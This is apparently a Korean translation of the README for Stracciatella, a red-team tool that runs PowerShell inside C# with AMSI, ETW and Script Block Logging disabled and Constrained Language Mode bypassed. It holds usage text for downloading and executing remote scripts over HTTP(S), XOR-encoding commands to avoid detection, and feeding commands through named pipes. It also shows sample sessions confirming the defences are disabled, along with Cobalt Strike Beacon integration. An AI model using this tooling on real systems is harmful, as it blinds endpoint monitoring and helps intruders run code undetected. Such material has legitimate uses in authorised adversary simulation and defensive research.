
시작 시 AMSI, Constrained Language Mode 및 Script Block Logging이 비활성화된 C# 내부의 OpSec-safe Powershell runspace (일명 SharpPick)
C# 내부에서 Powershell runspace (일명 SharpPick 기법)를 통해 AMSI, ETW, 스크립트 블록 로깅을 비활성화하여 제공합니다.
오늘날 Powershell은 다음과 같은 기술로 심각하게 계측되었습니다:
고급 공격자는 정교한 적대적 시뮬레이션 훈련을 수행하기 위해 이러한 노력을 우회할 방법을 찾아야 합니다. 이러한 노력을 돕기 위해 다음 프로젝트가 만들어졌습니다.
이 프로그램은 다음 우회 기술을 기반으로 구축되었습니다:
이는 다시 다음 연구를 기반으로 했습니다:
SharpPick 개념, 즉 C# 어셈블리 내에서 Runspace를 사용하여 Powershell 스크립트를 실행하는 것은 새로운 것이 아니며, 처음으로 Lee Christensen(@tifkin_)이 다음에서 구현했습니다:
또한 소스 코드는 CustomPSHost 구현을 Lee에게서 차용했습니다.
이 프로젝트는 위 연구와 훌륭한 보안 커뮤니티의 성과를 이어받아, 시작 시 방어 기능이 비활성화된 거의 완벽에 가까운 Powershell 환경을 제공합니다.
이제 .NET 4.0에서 쉽게 컴파일되며, .NET Framework 4.7.1+로 컴파일하면 CLM 우회 아티팩트를 구성하는 DLL을 언로드하고 이후에 삭제를 시도하는 추가 기능이 포함됩니다 (솔직히 잘 작동하지는 않습니다).
Stracciatella를 .NET 4.0으로 컴파일했을 때 최상의 성능을 얻을 수 있습니다.
사용 가능한 몇 가지 옵션이 있습니다:
PS D:\> Stracciatella -h
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
Usage: stracciatella.exe [options] [command]
-s <path>, --script <path> - Path to file containing Powershell script to execute. If not options given, will enter
a pseudo-shell loop. This can be also a HTTP(S) URL to download & execute powershell script.
-v, --verbose - Prints verbose informations
-n, --nocleanup - Don't remove CLM disable leftovers (DLL files in TEMP and COM registry keys).
By default these are going to be always removed.
-C, --leaveclm - Don't attempt to disable CLM. Stealthier. Will avoid leaving CLM disable artefacts undeleted.
-f, --force - Proceed with execution even if Powershell defenses were not disabled.
By default we bail out on failure.
-c, --command - Executes the specified commands You can either use -c or append commands after
stracciatella parameters: cmd> straciatella ipconfig /all
If command and script parameters were given, executes command after running script.
-x <key>, --xor <key> - Consider input as XOR encoded, where <key> is a one byte key in decimal
(prefix with 0x for hex)
-p <name>, --pipe <name> - Read powershell commands from a specified named pipe. Command must be preceded with 4 bytes of
its length coded in little-endian (Length-Value notation).
-t <millisecs>, --timeout <millisecs>
- Specifies timeout for pipe read operation (in milliseconds). Default: 60 secs. 0 - infinite.
-e, --cmdalsoencoded - Consider input command (specified in '--command') encoded as well.
Decodes input command after decoding and running input script file.
By default we only decode input file and consider command given in plaintext
프로그램은 명령 및 스크립트 파일 경로를 입력으로 받습니다. 둘 다 선택 사항이며, 아무 것도 제공되지 않으면 유사 셸(pseudo-shell)이 시작됩니다. 명령과 스크립트 모두 단일 바이트 XOR(출력은 Base64로 인코딩됨)을 사용하여 추가 인코딩할 수 있어 OpSec 경험이 향상됩니다.
다음은 사용 사례를 보여주는 몇 가지 예입니다:
PS D:\> Stracciatella.exe -v
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Powershell's version: 5.1
[.] Language Mode: FullLanguage
[+] No need to disable Constrained Language Mode. Already in FullLanguage.
[+] Script Block Logging Disabled.
[+] AMSI Disabled.
[+] ETW Disabled.
Stracciatella D:\> $PSVersionTable
Name Value
---- -----
PSVersion 5.1.18362.1
PSEdition Desktop
PSCompatibleVersions {1.0, 2.0, 3.0, 4.0...}
BuildVersion 10.0.18362.1
CLRVersion 4.0.30319.42000
WSManStackVersion 3.0
PSRemotingProtocolVersion 2.3
SerializationVersion 1.1.0.1
먼저 인코딩된 구문을 준비하기 위해 포함된 encoder.py 스크립트를 사용할 수 있으며, 다음과 같이 사용합니다:
PS D:\> python encoder.py -h
usage: encoder.py [options] <command|file>
positional arguments:
command Specifies either a command or script file's path for encoding
optional arguments:
-h, --help show this help message and exit
-x KEY, --xor KEY Specifies command/file XOR encode key (one byte)
-o PATH, --output PATH
(optional) Output file. If not given - will echo output to stdout
PS D:\> python encoder.py -x 0x31 "Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode"
ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU
그런 다음 encoder.py의 출력을 Stracciatella의 인코딩된 명령 입력으로 전달합니다:
PS D:\> Stracciatella.exe -v -x 0x31 -c "ZkNYRVQceV5CRRETeEURRl5DWkIRXVhaVBFQEVJZUENcEBMRChEVdElUUkRFWF5fcl5fRVRJRR9iVEJCWF5fYkVQRVQffVBfVkRQVlR8XlVU" .\Test2.ps1
:: Stracciatella - Powershell runspace with AMSI, ETW and Script Block Logging disabled.
Mariusz Banach / mgeeky, '19-22 <[email protected]>
v0.7
[.] Will load script file: '.\Test2.ps1'
[+] AMSI Disabled.
[+] ETW Disabled.
[+] Script Block Logging Disabled.
[.] Language Mode: FullLanguage
PS> & '.\Test2.ps1'
PS> Write-Host "It works like a charm!" ; $ExecutionContext.SessionState.LanguageMode
[+] Yeeey, it really worked.
It works like a charm!
FullLanguage
반면:
Command was built of following commands: Base64Encode(XorEncode("Write-Host \"It works like a charm!\" ; $ExecutionContext.SessionState.LanguageMode", 0x31))Test2.ps1 - contained: "ZkNYRVQceV5CRRETahpsEWhUVFRIHRFYRRFDVFBdXUgRRl5DWlRVHxM=" (Base64(XorEncode("Write-Host \"[+] Yeeey, it really worked.\"", 0x31)))Stracciatella는 Aggressor 스크립트를 포함하며, 로드되면 Beacon 콘솔에 stracciatella 명령이 노출됩니다. 사용법은 powerpick과 매우 유사합니다(이전에 stracciatella-import를 통해 powershell 스크립트를 가져온 경우). 입력 매개변수는 무작위 키로 XOR 처리되어 무작위 이름의 Pipe를 통해 Stracciatella의 runspace로 전달됩니다.
다음 Cobalt Strike 명령을 사용할 수 있습니다: